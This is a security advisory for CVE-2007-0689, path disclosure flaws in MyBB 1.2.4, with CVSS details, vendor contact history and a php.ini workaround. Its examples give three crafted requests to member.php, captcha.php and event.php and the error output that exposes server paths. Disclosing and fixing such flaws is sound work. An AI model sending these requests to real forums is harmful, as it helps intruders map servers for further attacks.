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Description:
MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. Full control over your discussion system is presented right at the tip of your fingers, from multiple styles and themes to the ultimate customisation of your forums
using the template system.
External References:
Mitre CVE: CVE-2007-0689
NVD NIST: CVE-2007-0689
OSVDB: 34155
Summary:
MyBB is a powerful, efficient and free forum package developed in PHP and MySQL.
Multiple pass disclosure vulnerabilities in the product allow attackers to gather the true path of the server-side script.
Release Date:
May 13 2007
Severity:
Risk: Low
CVSS Metrics:
Access Vector: Remote
Access Complexity: Low
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.33
Target Distribution on Internet: Medium
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Confirmed
Vulnerability Impact: Attack
Host Impact: Path disclosure.
SecureScout Testcase ID:
TC 17950
Vulnerable Systems:
MyBB version 1.2.4
Vulnerability Type:
Program flaw - The captcha.php, member.php and event.php scripts has flaws which lead to a Warning or even Fatal Errors.
Vendor:
MyBB
Vendor Status:
Contact with the Vendor was established and draft of the security advisory was provided on 11 April 2007, the vendor promised to fix the issue but stopped responding to our emails on 11 April 2007. There is no official fix at the release of this
Security Advisory
Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers).
Example:
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[mybb-directory]/member.php?action[]=register
REPLY:
<br /> <b>Warning</b>: Illegal offset type in unset in <b>[SERVER_PATH_TO_FILE][mybb-directory]\global.php</b> on line <b>41</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at [SERVER_PATH_TO_FILE][mybb-directory]\global.php:41) in <b>[SERVER_PATH_TO_FILE][mybb-directory]\incunctions.php</b> on line <b>1121</b><br />
Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[mybb-directory]/captcha.php?imagehash[]=123
REPLY:
<br /> <b>Warning</b>: mysql_real_escape_string() expects parameter 1 to be string, array given in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php</b> on line <b>632</b><br /> <br /> <b>Warning</b>: Division by zero in <b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line <b>210</b><br /> <br /> <b>Warning</b>: Cannot modify header information - headers already sent by (output started at [SERVER_PATH_TO_FILE][mybb-directory]\inc\db_mysql.php:632) in <b>[SERVER_PATH_TO_FILE][mybb-directory]\captcha.php</b> on line <b>114</b><br />
Path Disclosure Vulnerability 3:
REQUEST:
http://[TARGET]/[mybb-directory]/inc/datahandlers/event.php
REPLY:
<br /> <b>Fatal error</b>: Class 'DataHandler' not found in <b>[SERVER_PATH_TO_FILE][mybb-directory]\inc\datahandlers\event.php</b> on line <b>16</b><br />
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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